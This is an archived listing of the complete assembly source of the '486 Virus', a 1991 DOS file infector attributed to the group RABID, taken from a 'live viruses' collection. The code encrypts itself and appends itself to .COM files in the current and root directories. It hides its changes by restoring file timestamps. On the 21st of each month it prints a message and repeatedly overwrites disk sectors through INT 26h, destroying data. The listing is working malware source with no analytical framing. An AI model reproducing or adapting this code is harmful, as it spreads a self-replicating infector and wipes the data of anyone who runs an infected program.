home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / 486.asm < prev    next >
Assembly Source File  |  1991-02-16  |  7KB  |  239 lines
  1. ; 486 Virus - (C)1991 RABID, International
  2. ; By Zodiac - RABID High Priest, USA
  3.  
  4.  
  5. code_seg    segment
  6.         assume cs:code_seg,ds:code_seg
  7.                 org    100h
  8.  
  9. jmpin:          db   0E9h,00,00                  ; JMP 105
  10.  
  11. start:          push cx
  12.         mov  dx,word ptr cs:[101h]
  13.         add  dx,103h                     ; DX now points to start
  14.                 mov  si,dx
  15.  
  16.                 mov  bp,dx                       ; pushes offset of PROG
  17.                 add  bp,(prog-start)             ; to stack for RET statement
  18.                 push bp                          ; of encrypt
  19.                 jmp  short unencrypt
  20.  
  21. unencrypt:      db   0B0h                        ; mov al,
  22. value           db   00                          ;        xx
  23.                 push si
  24.                 cmp  al,0
  25.                 je   unencret
  26.                 add  si,(prog-start)
  27.                 mov  cx,lastbyte-prog
  28. unencloop:      mov  ah,[si]
  29.         push cx
  30.                 mov  cl,al
  31.                 rol  ah,cl
  32.                 pop  cx
  33.                 mov  [si],ah
  34.                 inc  al
  35.                 inc  si
  36.                 loop unencloop
  37. unencret:       pop  si
  38.                 ret
  39.  
  40. prog:        mov  di,100h
  41.         mov  si,dx
  42.         add  si,(firstthree-start)       ; SI points to 1st six bytes
  43.         mov  cx,3
  44.         rep  movsb                       ; Restores initial 3 bytes
  45.                 mov  si,dx
  46.  
  47.                 mov  ah,2Ah
  48.                 int  21h
  49.         cmp dl,21
  50.                 jne  nokill
  51.  
  52. kill:        xor  ax,ax
  53.         int  10h
  54.         mov  ah,9
  55.                 mov  dx,si
  56.                 add  dx,(message-start)
  57.                 int  21h
  58. kill_hd:        mov  ax,26
  59. killoop:        mov  cx,255
  60.                 xor  dx,dx
  61.                 push ax
  62.                 int  26h
  63.                 popf
  64.             pop  ax
  65.             dec  ax
  66.             cmp  ax,2
  67.             jg   killoop
  68.             jmp  short kill_hd
  69.  
  70. nokill:         mov  bp,0                        ; BP=0 when in curr. direct.
  71.                 mov  dx,(filespec-start)
  72.  
  73. findfirst:    add  dx,si                       ; SI now points to start
  74.                 mov  ah,4Eh
  75.         mov  cx,6
  76.         int  21h
  77.         jc   returningfar
  78.  
  79. filefound:      mov  dx,dtaname
  80.                 cmp  bp,1
  81.                 jne  open
  82.                 dec  dx
  83.                 db   0C6h,06h,9Dh,00h,"\"        ; mov byte ptr [9Dh],"\"
  84.  
  85. open:           xor  cx,cx
  86.                 mov  ax,4301h
  87.                 int  21h                         ; sets attribute to normal
  88.                 push dx
  89.  
  90.                 mov  ax,3D02h
  91.                 int  21h                         ; Opens file found
  92.         jc   returningfar         ; Leaves if error
  93.                 mov  bx,ax                       ; BX holds file handle
  94.  
  95.                 mov  dx,si
  96.                 add  dx,(firstthree-start)
  97.                 mov  cx,3
  98.                 mov  ah,3Fh
  99.                 int  21h
  100.                 jc   close
  101.                 mov  di,dx
  102.                 cmp  word ptr [di],5A4Dh
  103.                 je   close
  104.                 cmp  byte ptr [di],0E9h
  105.                 jne  go
  106.                 db   8Bh,16h,9Ah,00h             ; mov dx,word ptr [dtasize]
  107.                 sub  dx,(lastbyte-firstbyte+4)
  108.                 cmp  word ptr [di+1],dx
  109.                 je   close
  110.                 jmp  short go
  111.  
  112. returningfar:   jmp  short returning
  113.  
  114. go:             xor  cx,cx
  115.                 xor  dx,dx
  116.                 mov  ax,4200h
  117.                 int  21h                         ; Moves to start of file
  118.  
  119.         db   0A1h,9Ah,00h         ; mov ax,word ptr [dtasize]
  120.  
  121.         cmp  ax,486
  122.         jb   closing
  123.         cmp  ax,63000
  124.         ja   closing
  125.  
  126.         sub  ax,3
  127.                 mov  word ptr [si+(newthree-start+1)],ax
  128.  
  129.                 mov  dx,si
  130.                 add  dx,(newthree-start)
  131.                 mov  cx,3
  132.                 mov  ah,40h
  133.                 int  21h                         ; Writes jump
  134.  
  135.                 xor  cx,cx
  136.                 mov  dx,0
  137.                 mov  ax,4202h
  138.                 int  21h                         ; Moves to end of file
  139.  
  140.                 push si
  141.                 mov  di,si
  142.                 add  si,(writebody-start)
  143.                 add  di,(lastbyte-start+1)
  144.                 mov  cx,(writeends-writebody+2)
  145.                 rep  movsb
  146.                 pop  si
  147.  
  148.                 mov  bp,si
  149.                 add  bp,(donewriting-start)
  150.                 push bp                          ; sets up RET of unenc
  151.  
  152.                 mov  bp,si
  153.                 add  bp,(lastbyte-start+1)
  154.                 call bp
  155.  
  156. donewriting:    xor  si,si
  157.  
  158. closing:    jmp  short close
  159.  
  160. ; The following are hubs for conditional jumps
  161.  
  162. returning:      jmp  short return
  163. finding:        jmp  filefound
  164.  
  165. close:          mov  ax,5701h
  166.                 db   8Bh,0Eh,96h,00h             ; mov cx,[dtatime]
  167.                 db   8Bh,16h,98h,00h             ; mov dx,[dtadate]
  168.                 int  21h
  169.                 mov  ah,3Eh
  170.                 int  21h                         ; closes file
  171.                 pop  dx
  172.                 xor  cx,cx
  173.                 db   8Ah,0Eh,95h,00h             ; mov cl,byte ptr [dtaattr]
  174.                 mov  ax,4301h
  175.                 int  21h
  176.  
  177.                 cmp  si,0
  178.                 je   return                      ; checks if file infected
  179.  
  180.                 mov  ah,4Fh
  181.                 int  21h                         ; finds next file to infected
  182.                 jnc  finding
  183.  
  184.                 cmp  bp,1
  185.                 je   return
  186.                 mov  bp,1
  187.                 mov  dx,(rootspec-start)
  188.                 jmp  findfirst
  189.  
  190. return:         pop  cx
  191.                 mov  bp,100h
  192.                 jmp  bp                           ; Returns control
  193.  
  194.  
  195. writebody:      mov  al,byte ptr [si+(value-start)]
  196.                 inc  al
  197.                 mov  byte ptr [si+value-start],al
  198.                 push bx
  199.                 mov  bx,si
  200.                 add  bx,(prog-start)
  201.                 mov  cx,lastbyte-prog
  202. encloop:        mov  ah,[bx]
  203.                 push cx
  204.                 mov  cl,al
  205.                 ror  ah,cl
  206.                 pop  cx
  207.                 mov  [bx],ah
  208.                 inc  al
  209.                 inc  bx
  210.                 loop encloop
  211.                 pop  bx
  212.                 mov  dx,si
  213.                 mov  cx,(lastbyte-firstbyte+1)   ; Adds extra byte as pad
  214.                 mov  ah,40h
  215.                 int  21h                         ; Writes main part
  216.                 mov  bp,si
  217.                 add  bp,(unencrypt-start)
  218.                 jmp  bp
  219. writeends:
  220.  
  221.  
  222. ; -- DATA -- ;
  223. firstthree      db   0CDh,20h,90h
  224. message     db   '486 Virus - (C)1991 RABID, International'
  225.         db   'By Zodiac - RABID Priest$'
  226. rootspec        db   '\'
  227. filespec    db   '*.COM',0
  228. dtaattr         equ  95h
  229. dtatime         equ  96h
  230. dtadate         equ  98h
  231. dtasize         equ  9Ah
  232. dtaname         equ  9Eh
  233. newthree        db   0E9h,0,0
  234.  
  235. firstbyte    =    start
  236. lastbyte    =    newthree+2
  237. code_seg    ends
  238.         end  jmpin
  239.